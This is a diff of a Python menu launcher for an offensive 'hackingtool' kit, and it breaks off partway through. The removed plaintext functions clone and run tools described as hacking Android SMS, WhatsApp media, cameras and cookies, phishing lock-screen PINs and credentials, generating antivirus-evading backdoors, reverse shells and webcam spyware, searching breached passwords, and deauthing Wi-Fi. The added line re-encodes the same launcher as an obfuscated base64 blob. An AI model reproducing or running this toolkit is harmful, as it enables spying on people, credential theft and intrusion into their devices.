git clone https://github.com/thelinuxchoice/keydroid ") - elif userchoice == "2": - os.system("cd keydroid && bash keydroid.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def mysms(): - os.system("echo \" Script that generates an Android App to hack SMS through WAN \n[!]You have to install Some Manually Refer Below Link :\n\t [+]https://github.com/thelinuxchoice/mysms \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/mysms") - elif userchoice == "2": - os.system("cd mysms && bash mysms.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def getdroid(): - os.system("echo \"FUD Android Payload (Reverse Shell) and Listener using Serveo.net (no need config port forwarding) \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/getdroid && apt-get install android-sdk apksigner -y") - elif userchoice == "2": - os.system("cd getdroid && bash getdroid.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def lock(): - os.system("echo \"Lockphish it's the first tool for phishing attacks on the lock screen, designed to\n Grab Windows credentials,Android PIN and iPhone Passcode using a https link. \"| boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/lockphish") - elif userchoice == "2": - os.system("cd lockphish && bash lockphish.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def droidfile(): - os.system("echo \"Get files from Android directories\"|boxes -d boy") - userchoice = input("[1]Install [2]Run [3] Packges Install(Required) [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/droidfiles") - elif userchoice == "2": - os.system("cd droidfiles && bash droidfiles.sh") - elif userchoice == "3": - os.system("apt-get install default-jdk apksigner") - os.system("apt-get install libc6-dev-i386 lib32z1") - os.system("wget https://dl.google.com/android/repository/sdk-tools-linux-4333796.zip && mkdir -p $HOME/Android/Sdk && unzip sdk-tools-linux* -d $HOME/Android/Sdk") - os.system("curl -s \"https://get.sdkman.io\" | bash && source $HOME/.sdkman/bin/sdkman-init.sh && echo \"Y\" | sdk install java 8.0.191-oracle && sdk use java 8.0.191-oracle && sdk install gradle 2.14.1 && sdk use gradle 2.14.1") - elif userchoice == "99": - androidhack() - else : - menu() - -def whatshack(): - os.system("echo \"Script to generate Android App to Hack All WhatsApp Media Files.\n\t[!]Download Android Studio:\n[+]https://developer.android.com/studio \n\t[!]Installing Android Studio:\n[+]unzip ~/Downloads/android*.zip -d /opt \nRun Android Studio: \n[+] cd /opt/android-studio/bin \n[+] ./studio.sh \n[!]Go to SDK Manager (Configure -> SDK Manager) and Download:\n[!]Android SDK Build-tools, Android SDK-tools, Android SDK platform-tools, Support Repository\" | boxes -d shell") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/whatshack") - time.sleep(5) - print("Installing Required Packges..!! It Take More Time ") - time.sleep(3) - os.system("apt-get install openjdk-8-jdk && apt-get install gradle") - os.system("update-alternatives --list java") - os.system("update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java") - elif userchoice == "2": - os.system("echo \"[#]On First Time, Choose \"n\" when asks to build, then open the project on Android Studio:\n[!]cd /opt/android-studio/bin \n[!]./studio.sh \n[#]Import Gradle Project:\n[!]Choose whatshack app folder: whatshack/app/ \n[#]Wait all dependencies downloading, if you got errors, click on showed links to solve. \n[#]Try build from Android Studio: Build > build APK's \n[#]Click on showed links if you got errors. \n[#]Close Android after building successfully.\n[#]open with any Text Editor the file app/build.gradle\n[!]remove \"google\" \n[#]change gradle version from: 3.4.1 to: 2.2.0 \n[!]save and exit. \n[#]After this Run Script As Root: \n[!]bash whatshack.sh \"| boxes -d shell") - os.system("echo \"If still getting error please visit \n\t[#]https://github.com/thelinuxchoice/whatshack\"|boxes -d shell") - os.system("cd whatshack/ && bash whatshack.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def droidcam(): - os.system("echo \"Script to generate an Android App to take photos from Cameras using Camera2 function on API 21\n After Installing if you getting error please go to below link \n[+]https://github.com/thelinuxchoice/DroidCam \"| boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/droidcam ") - os.system("cd droidcam && sudo bash install.sh") - elif userchoice == "2": - os.system("cd droidcam && bash droidcam.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def evilapp(): - os.system("echo \"EvilApp is a script to generate Android App that can hijack autenticated sessions in cookies\"") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/evilapp") - elif userchoice == "2": - os.system("cd evilapp && bash evilapp.sh") - elif userchoice == "99": - androidhack() - else : - menu() - -def payloads(): - print(""" - [1] The FatRat* - [2] Brutal - [3] Stitch - [4] MSFvenom Payload Creator - [5] Venom Shellcode Generator - [6] Spycam - [99]Back - """) - choice =input("Z4nzu >> ") - if choice == "1": - clearScr() - thefatrat() - elif choice == "2": - clearScr() - Brutal() - elif choice == "3": - clearScr() - stitch() - elif choice == "4": - clearScr() - MSFvenom() - elif choice == "5": - clearScr() - venom() - elif choice == "6": - clearScr() - spycam() - elif choice == "99": - menu() - elif choice == "": - payloads() - else : - menu() - -def thefatrat(): - os.system("echo \"TheFatRat Provides An Easy way to create Backdoors and \nPayload which can bypass most anti-virus\"|boxes -d boy") - choice = input("[1]Install [2] Run [3]Update [99]Back >> ") - if choice == "1": - os.system("sudo git clone https://github.com/Screetsec/TheFatRat.git") - os.system("cd TheFatRat && chmod +x setup.sh") - menu() - elif choice == "2": - os.system("cd TheFatRat && ./setup.sh") - elif choice == "3": - os.system("cd TheFatRat && ./update && chmod +x setup.sh && ./setup.sh") - elif choice == "99": - payloads() - else : - menu() - -def Brutal(): - os.system("echo \"Brutal is a toolkit to quickly create various payload,powershell attack,\nvirus attack and launch listener for a Human Interface Device\"|boxes -d boy") - print(""" - [!]Requirement - >>Arduino Software ( I used v1.6.7 ) - >>TeensyDuino - >>Linux udev rules - >>Copy and paste the PaensyLib folder inside your Arduino\libraries - [!]More Information - >> https://github.com/Screetsec/Brutal/wiki/Install-Requirements - """) - choice = input("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("sudo git clone https://github.com/Screetsec/Brutal.git") - os.system("cd Brutal && chmod +x Brutal.sh ") - elif choice == "2": - os.system("cd Brutal && sudo ./Brutal.sh") - elif choice == "99": - payloads() - else : - menu() - -def stitch(): - os.system("echo -e \"Stitch is Cross Platform Python Remote Administrator Tool\n\t[!]Refer Below Link For Wins & MAc Os\n\t(!)https://nathanlopez.github.io/Stitch \" | boxes -d boy | lolcat") - choice = input("[1]Install [2]Run [99]Back >>" ) - if choice == "1": - os.system("sudo git clone https://github.com/nathanlopez/Stitch.git") - os.system("cd Stitch && pip install -r lnx_requirements.txt") - elif choice == "2": - os.system("cd Stitch && python main.py") - elif choice == "99": - payloads() - else : - menu() - -def MSFvenom(): - print(Logo) - choice= input("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("sudo git clone https://github.com/g0tmi1k/msfpc.git && cd msfpc && chmod +x msfpc.sh") - menu() - elif choice == "2": - os.system("cd msfpc && sudo bash msfpc.sh -h -v") - elif choice == "99": - payloads() - else : - menu() - -def venom(): - print("echo \"venom 1.0.11 (malicious_server) was build to take advantage of \n apache2 webserver to deliver payloads (LAN) using a fake webpage writen in html\"| boxes -d boy") - choice =input("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("sudo git clone https://github.com/r00t-3xp10it/venom.git") - os.system("chmod -R 775 venom-main && cd venom-main && cd aux && sudo ./setup.sh") - os.system("sudo ./venom.sh -u") - print("Download Successfully...!!!") - #sudo find ./ -name "*.sh" -exec chmod +x {} \; sudo find ./ -name "*.py" -exec chmod +x {} \; - print("Give Permission to .sh & .py Files") - elif choice == "2": - os.system("cd venom && sudo ./venom.sh") - elif choice == "99": - payloads() - else : - menu() - -def spycam(): - os.system("echo \"Script to generate a Win32 payload that takes the webcam image every 1 minute and send it to the attacker\"|boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/spycam ") - os.system("cd spycam && bash install.sh && chmod +x spycam") - elif userchoice == "2": - os.system("cd spycam && ./spycam") - elif userchoice == "99": - payloads() - else : - menu() - -def wifijamming(): - print(""" - [1] Using Airmon - [99]Back - """) - choice = input("Z4nzu =>> ") - if choice == "1": - clearScr() - airmon() - elif choice == "99": - menu() - else : - menu() - -def airmon(): - # os.system("echo \" \" | boxes -d boy") - print(Logo) - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - print("In Working") - time.sleep(5) - menu() - elif userchoice == "2": - print(""" - ########################################################################### - # [!] Follow Below steps for Jamming [!] # - # [1]iwconfig # - # [2]airmon-ng # - # [3]airmon-ng start InterfaceName # - # [4]airodump-ng InterfaceName # - # [5]airodump-ng -c [CH no.] --bssid [MAC address] InterfaceName # - # [6]aireply-ng -0 0 -a [mac address] InterfaceName # - # [+]After Complete monitor mode return your interface in normal mode # - # [7]airmon-ng stop InterfaceName # - ########################################################################### - """) - os.system("sudo airmon-ng") - elif userchoice == "99": - wifijamming() - else : - menu() - # z=raw_input("Enter Your wifi Interface Name :- ") - # os.system("airmon-ng && airmon-ng start %s"%z) - -def steganography(): - print(""" - [1] SteganoHide - [2] StegnoCracker - [3] WhiteSpace - [99]Back - """) - choice = input("Z4nz =>> ") - if choice == "1": - steganohide() - elif choice == "2": - stegnocracker() - elif choice == "3": - whitespace() - elif choice == "99": - menu() - else : - menu() - -def steganohide(): - choice = input("[1]Install [2]Run [99] >> ") - if choice == "1": - os.system("sudo apt-get install steghide -y ") - elif choice == "2": - choice1=input("[1]Hide [2]Extract >> ") - if choice1 =="1": - filehide=input("Enter Filename you want to Embed(1.txt) :- ") - filetobehide=input("Enter Cover Filename(test.jpeg) :- ") - os.system("steghide embed -cf {0} -ef {1}".format(filetobehide,filehide)) - elif choice1 =="2": - fromfile=input("Enter Filename From Extract Data :- ") - os.system("steghide extract -sf {0}".format(fromfile)) - elif choice == "99": - steganography() - else : - menu() - -def stegnocracker(): - os.system("echo \" SteganoCracker is a tool that uncover hidden data inside files\n using brute-force utility \"|boxes -d boy") - choice = ("[1]Install [2]Run [99] >> ") - if choice == "1": - os.system("pip3 install stegcracker && pip3 install stegcracker -U --force-reinstall") - elif choice =="2": - file1=input("Enter Filename :- ") - passfile=input("Enter Wordlist Filename :- ") - os.system("stegcracker {0} {1} ".format(file1,passfile)) - elif choice == "99": - steganography() - else : - menu() - -def whitespace(): - choice =input("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("sudo git clone https://github.com/beardog108/snow10.git ") - os.system("chmod -R 755 snow10") - elif choice == "2": - os.system("cd snow10 && firefox index.html") - elif choice == "99": - steganography() - else : - menu() - -def sqltool(): - print(""" - [1] sqlmap tool - [99] Back - """) - choice =input("Z4nzu =>> ") - if choice == "1": - clearScr() - sqlmap() - elif choice == "99": - menu() - else : - menu() - -def sqlmap(): - os.system("echo \"[!]sqlmap is an open source penetration testing tool that automates the process of \ndetecting and exploiting SQL injection flaws and taking over of database servers\"|boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev") - print("Downloaded Successfully..!!") - menu() - elif userchoice == "2": - os.system("cd sqlmap-dev && python sqlmap.py -h") - os.system("echo \"[!]python sqlmap.py -u [] --batch --banner \n[!]For More Usage : https://github.com/sqlmapproject/sqlmap/wiki/Usage \"|boxes -d boy") - elif userchoice == "99": - sqltool() - else : - menu() - -def others(): - print(""" - [1]SMWYG-Show-Me-What-You-Got (1.4 Billion Clear Text Password) - [99]BAck - """) - choice = input("Z4nzu =>>") - if choice == "1": - clearScr() - showme() - elif choice == "99": - menu() - elif choice == "": - others() - else : - menu() - -def showme(): - print("""This tool allows you to perform OSINT and reconnaissance on an organisation or an individual. - It allows one to search 1.4 Billion clear text credentials which was dumped as part of BreachCompilation - leak This database makes finding passwords faster and easier than ever before. - """) - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git") - os.system("cd SMWYG-Show-Me-What-You-Got && pip3 install -r requirements.txt ") - menu() - elif userchoice == "2": - os.system("cd SMWYG-Show-Me-What-You-Got && python SMWYG.py") - elif userchoice == "99": - others() - else : - menu() - -def updatesys(): - os.system("sudo apt update && sudo apt full-upgrade -y") - os.system("sudo apt-get install tor openssl curl && sudo apt-get update tor openssl curl ") - os.system("sudo apt-get install python3-pip") - menu() - -def clearScr(): - if system() == 'Linux': - os.system('clear') - if system() == 'Windows': - os.system('cls') - -if __name__ == "__main__": - try: - if system() == 'Linux': - if path.exists("/home/"): - os.chdir("/home") - if os.path.isdir('hackingtool'): - os.chdir("/home/hackingtool/") - menu() - else : - os.system("mkdir hackingtool") - os.chdir("/home/hackingtool/") - menu() - elif path.exists('/data'): - os.chdir("data/data/com.termux/files/home/") - if os.path.isdir('hackingtool'): - os.chdir("data/data/com.termux/files/home/hackingtool/") - menu() - else : - os.system("mkdir hackingtoolstore") - os.chdir("data/data/com.termux/files/home/hackingtool/") - menu() - except KeyboardInterrupt: - print(" Sorry ..!!!") - time.sleep(3) +x=(b'''IyMhL3Vzci9iaW4vZW52IHB5dGhvbjMKIyAtKi0gY29kaW5nOiBVVEYtOCAtKi0KaW1wb3J0IG9zCmltcG9ydCBzeXMKaW1wb3J0IGFyZ3BhcnNlCmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHdlYmJyb3dzZXIKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCB0aW1lCmltcG9ydCBodHRwLmNsaWVudAppbXBvcnQgdXJsbGliLnJlcXVlc3QKaW1wb3J0IGpzb24KaW1wb3J0IHRlbG5ldGxpYgppbXBvcnQgZ2xvYgppbXBvcnQgZ2V0cGFzcwppbXBvcnQgc29ja2V0CmltcG9ydCBiYXNlNjQKZnJvbSBnZXRwYXNzIGltcG9ydCBnZXRwYXNzCmltcG9ydCBzdWJwcm9jZXNzCmZyb20gc3lzIGltcG9ydCBhcmd2CmltcG9ydCByYW5kb20KaW1wb3J0IHF1ZXVlCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCByZQppbXBvcnQgZ2V0cGFzcwpmcm9tIG9zIGltcG9ydCBwYXRoCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQpmcm9tIHVybGxpYi5wYXJzZSBpbXBvcnQgdXJscGFyc2UKZnJvbSB4bWwuZG9tIGltcG9ydCBtaW5pZG9tCmZyb20gb3B0cGFyc2UgaW1wb3J0IE9wdGlvblBhcnNlcgpmcm9tIHRpbWUgaW1wb3J0IHNsZWVwCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQpMb2dvPSIiIlwwMzNbMzNtCgogICDiloTiloggICAg4paI4paEICAgICAgIOKWhOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paE4paI4paI4paI4paI4paI4paI4paI4paIICAgIOKWhOKWiCAgIOKWhOKWiOKWhCAg4paE4paIICDilojilojilojiloTiloTiloTiloQgICAgICDiloTilojilojilojilojilojilojiloQgICAgICAgICAgIOKWiOKWiOKWiCAgICAgIOKWhOKWiOKWiOKWiOKWiOKWiOKWiOKWhCAgIOKWhOKWiOKWiOKWiOKWiOKWiOKWiOKWhCAgIOKWhOKWiCAgICAgICAKICDilojilojiloggICAg4paI4paI4paIICAgICDilojilojiloggICAg4paI4paI4paIIOKWiOKWiOKWiCAgICDilojilojiloggICDilojilojilogg4paE4paI4paI4paI4paAIOKWiOKWiOKWiCAg4paI4paI4paI4paA4paA4paA4paI4paI4paEICAg4paI4paI4paIICAgIOKWiOKWiOKWiCAgICAgIOKWgOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWhCDilojilojiloggICAg4paI4paI4paIIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgICAgIAogIOKWiOKWiOKWiCAgICDilojilojiloggICAgIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgIOKWiOKWgCAgICDilojilojilojilpDilojilojiloAgICDilojilojilojilowg4paI4paI4paIICAg4paI4paI4paIICAg4paI4paI4paIICAgIOKWiOKWgCAgICAgICAgICDiloDilojilojilojiloDiloDilojilogg4paI4paI4paIICAgIOKWiOKWiOKWiCDilojilojiloggICAg4paI4paI4paIIOKWiOKWiOKWiCAgICAgICAKIOKWhOKWiOKWiOKWiOKWhOKWhOKWhOKWhOKWiOKWiOKWiOKWhOKWhCAgIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgICAgICAg4paE4paI4paI4paI4paI4paI4paAICAgIOKWiOKWiOKWiOKWjCDilojilojiloggICDilojilojiloggIOKWhOKWiOKWiOKWiCAgICAgICAgICAgICAgICAg4paI4paI4paIICAg4paAIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgIOKWiOKWiOKWiCDilojilojiloggICAgICAgCuKWgOKWgOKWiOKWiOKWiOKWgOKWgOKWgOKWgOKWiOKWiOKWiOKWgCAg4paA4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIIOKWiOKWiOKWiCAgICAgICAg4paA4paA4paI4paI4paI4paI4paI4paEICAgIOKWiOKWiOKWiOKWjCDilojilojiloggICDilojilojilogg4paA4paA4paI4paI4paIIOKWiOKWiOKWiOKWiOKWhCAgICAgICAgICAg4paI4paI4paIICAgICDilojilojiloggICAg4paI4paI4paIIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgICAgIAogIOKWiOKWiOKWiCAgICDilojilojiloggICAgIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgIOKWiOKWhCAgICDilojilojilojilpDilojilojiloQgICDilojilojiloggIOKWiOKWiOKWiCAgIOKWiOKWiOKWiCAgIOKWiOKWiOKWiCAgICDilojilojiloggICAgICAgICAg4paI4paI4paIICAgICDilojilojiloggICAg4paI4paI4paIIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgICAgIAogIOKWiOKWiOKWiCAgICDilojilojiloggICAgIOKWiOKWiOKWiCAgICDilojilojilogg4paI4paI4paIICAgIOKWiOKWiOKWiCAgIOKWiOKWiOKWiCDiloDilojilojilojiloQg4paI4paI4paIICDilojilojiloggICDilojilojiloggICDilojilojiloggICAg4paI4paI4paIICAgICAgICAgIOKWiOKWiOKWiCAgICAg4paI4paI4paIICAgIOKWiOKWiOKWiCDilojilojiloggICAg4paI4paI4paIIOKWiOKWiOKWiOKWjCAgICDiloQgCiAg4paI4paI4paIICAgIOKWiOKWgCAgICAgIOKWiOKWiOKWiCAgICDilojiloAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWgCAgICDilojilojiloggICDiloDilojiloAg4paI4paAICAgIOKWgOKWiCAgIOKWiOKWgCAgICDilojilojilojilojilojilojilojilojiloAgICAgICAgICAg4paE4paI4paI4paI4paI4paAICAgIOKWgOKWiOKWiOKWiOKWiOKWiOKWiOKWgCAgIOKWgOKWiOKWiOKWiOKWiOKWiOKWiOKWgCAg4paI4paI4paI4paI4paI4paE4paE4paI4paIIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKWgCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDiloAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDAzM1s5N21bIV0gaHR0cHM6Ly9naXRodWIuY29tL1o0bnp1L2hhY2tpbmd0b29sClwwMzNbOTdtICIiIgpkZWYgbWVudSgpOgogICAgcHJpbnQoTG9nbyArICIiIlwwMzNbMG0gCiAgICBcMDMzWzkxbVshXSBUaGlzIFRvb2wgTXVzdCBSdW4gYXMgYSBSb290Li5bIV0gXDAzM1s5N20KICAgIFswMF1Bbm9uU3VyZiAgICAgICAgICAgICAgICAgIAogICAgWzAxXUluZm9ybWF0aW9uIEdhdGhlcmluZwogICAgWzAyXVBhc3N3b3JkIEF0dGFjayAmJiBXb3JkbGlzdCBHZW5lcmF0b3IKICAgIFswM11XaXJlbGVzcyBBdHRhY2sKICAgIFswNF1TUUwgSW5qZWN0aW9uIFRvb2xzIAogICAgWzA1XVBoaXNoaW5nIEF0dGFjayAKICAgIFswNl1XZWIgQXR0YWNrIFRvb2wKICAgIFswN11Qb3N0IGV4cGxvaXRhdGlvbgogICAgWzA4XUZvcmVuc2ljIFRvb2xzCiAgICBbMDldUGF5bG9hZCBDcmVhdG9yCiAgICBbMTBdUm91dGVyIEV4cGxvaXQKICAgIFsxMV1XaWZpIEphbW1pbmcKICAgIFsxMl1Tb2NpYWxNZWRpYSBBdHRhY2sKICAgIFsxM11Tb2NpYWxNZWRpYSBGaW5kZXIgCiAgICBbMTRdQW5kcm9pZCBIYWNrCiAgICBbMTVdU3RlZ2Fub2dyYXBoeQogICAgWzE2XU1vcmUgVG9vbHMgCiAgICBbMTddVXBkYXRlIFN5c3RlbQogICAgWzk5XUV4aXQKICAgICIiIikKICAgIAogICAgY2hvaWNlID0gaW5wdXQoIlo0bnp1ICA9Pj4gIikKICAgIGlmIGNob2ljZSA9PSAiMCIgb3IgY2hvaWNlID09ICIwMCI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGFub25zdXJmKCkKICAgIGVsaWYgY2hvaWNlID09ICIxIiBvciBjaG9pY2UgPT0gIjAxIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgaW5mbygpCiAgICBlbGlmIGNob2ljZSA9PSAiMiIgb3IgY2hvaWNlID09ICIwMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHBhc3N3ZCgpCiAgICBlbGlmIGNob2ljZSA9PSAiMyIgb3IgY2hvaWNlID09ICIwMyI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHdpcmUoKQogICAgZWxpZiBjaG9pY2UgPT0gIjQiIG9yIGNob2ljZSA9PSAiMDQiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBzcWx0b29sKCkgICAgCiAgICBlbGlmIGNob2ljZSA9PSAiNSIgb3IgY2hvaWNlID09ICIwNSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHBoaXNoYXR0YWNrKCkKICAgIGVsaWYgY2hvaWNlID09ICI2IiBvciBjaG9pY2UgPT0gIjA2IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgd2ViQXR0YWNrKCkgICAgICAgIAogICAgZWxpZiBjaG9pY2UgPT0gIjciIG9yIGNob2ljZSA9PSAiMDciOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBwb3N0ZXhwKCkKICAgIGVsaWYgY2hvaWNlID09ICI4IiBvciBjaG9pY2UgPT0gIjA4IiA6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGZvcmVuc2ljKCkKICAgIGVsaWYgY2hvaWNlID09ICI5IiBvciBjaG9pY2UgPT0gIjA5IiA6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHBheWxvYWRzKCkgICAgICAgCiAgICBlbGlmIGNob2ljZSA9PSAiMTAiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICByb3V0ZXhwKCkKICAgIGVsaWYgY2hvaWNlID09ICIxMSIgOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICB3aWZpamFtbWluZygpCiAgICBlbGlmIGNob2ljZSA9PSAiMTIiIDoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgc29jaWFsYXR0YWNrKCkgICAgICAgCiAgICBlbGlmIGNob2ljZSA9PSAiMTMiIDoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgc29jaWFsZmluZGVyKCkKICAgIGVsaWYgY2hvaWNlID09ICIxNCI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGFuZHJvaWRoYWNrKCkKICAgIGVsaWYgY2hvaWNlID09ICIxNSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHN0ZWdhbm9ncmFwaHkoKQogICAgZWxpZiBjaG9pY2UgPT0gIjE2IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgcHJpbnQoTG9nbykKICAgICAgICBvdGhlcnMoKQogICAgZWxpZiBjaG9pY2UgPT0gIjE3IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgcHJpbnQoTG9nbykKICAgICAgICB1cGRhdGVzeXMoKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IiA6CiAgICAgICAgY2xlYXJTY3IoKSwgc3lzLmV4aXQoKQogICAgICAgIGV4aXQoKQogICAgZWxpZiBjaG9pY2UgPT0gIiI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlOgogICAgICAgIHByaW50KCJXcm9uZyBJbnB1dC4uLiEhIikKICAgICAgICB0aW1lLnNsZWVwKDMpCiAgICAgICAgbWVudSgpCgpkZWYgYW5vbnN1cmYoKToKICAgIG9zLnN5c3RlbSgiZmlnbGV0IC1mIHN0YW5kYXJkIC1jIEFub25tb3VzbHkgSGlkaW5nIFRvb2wgfCBsb2xjYXQiKQogICAgcHJpbnQoIiIiCiAgICAgICAgWzFdICBBbm9ubW91c2x5IFN1cmYKICAgICAgICBbMl0gIE11bHRpdG9yCiAgICAgICAgWzk5XSBCYWNrCiAgICAiIiIpCiAgICBjaG9pY2UgPSBpbnB1dCgiWjRuenUgPT4+IikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGFuc3VyZigpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIG11bHRpdG9yKCkKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBhbnN1cmYoKToKICAgIG9zLnN5c3RlbSgiZWNobyAgXCJJdCBhdXRvbWF0aWNhbGx5IG92ZXJ3cml0ZXMgdGhlIFJBTSB3aGVuXG50aGUgc3lzdGVtIGlzIHNodXR0aW5nIGRvd24gQW5EIEFsU28gY0hhbmdlIElwXCIgfGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICBhbmM9aW5wdXQoIlsxXWluc3RhbGwgWzJdUnVuIFszXVN0b3AgWzk5XU1haW4gTWVudSA+PiAiKQogICAgaWYgYW5jID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9VbmQzcmYxMHcva2FsaS1hbm9uc3VyZi5naXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2Qga2FsaS1hbm9uc3VyZiAmJiBzdWRvIC4vaW5zdGFsbGVyLnNoICYmIGNkIC4uICYmIHN1ZG8gcm0gLXIga2FsaS1hbm9uc3VyZiIpCiAgICAgICAgYW5vbnN1cmYoKQogICAgZWxpZiBhbmM9PSIyIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gYW5vbnN1cmYgc3RhcnQiKQogICAgZWxpZiBhbmMgPT0gIjMiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhbm9uc3VyZiBzdG9wIikKICAgIGVsaWYgYW5jID09ICI5OSI6CiAgICAgICAgYW5vbnN1cmYoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgbXVsdGl0b3IoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIkhvdyB0byBzdGF5IGluIG11bHRpIHBsYWNlcyBhdCB0aGUgc2FtZSB0aW1lIFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvbXVsdGl0b3IuZ2l0IikKICAgICAgICBhbm9uc3VyZigpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgbXVsdGl0b3IgJiYgYmFzaCBtdWx0aXRvci5zaCIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICBhbm9uc3VyZigpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBpbmZvKCk6CiAgICBvcy5zeXN0ZW0oImZpZ2xldCAtZiBzdGFuZGFyZCAtYyBJbmZvcm1hdGlvbiBHYXRoZXJpbmcgVG9vbHMgfCBsb2xjYXQiKQogICAgcHJpbnQoIiIiCiAgICAgICAgICAgIFsxXSAgTm1hcCAKICAgICAgICAgICAgWzJdICBEcmFjbm1hcAogICAgICAgICAgICBbM10gIFBvcnQgU2Nhbm5pbmcKICAgICAgICAgICAgWzRdICBIb3N0IFRvIElQCiAgICAgICAgICAgIFs1XSAgWGVyb3NwbG9pdAogICAgICAgICAgICBbNl0gIEFkdmFuY2VkIFhTUyBEZXRlY3Rpb24gU3VpdGUKICAgICAgICAgICAgWzddICBSZWNvblNwaWRlcihGb3IgQWxsIFNjYW5pbmcpCiAgICAgICA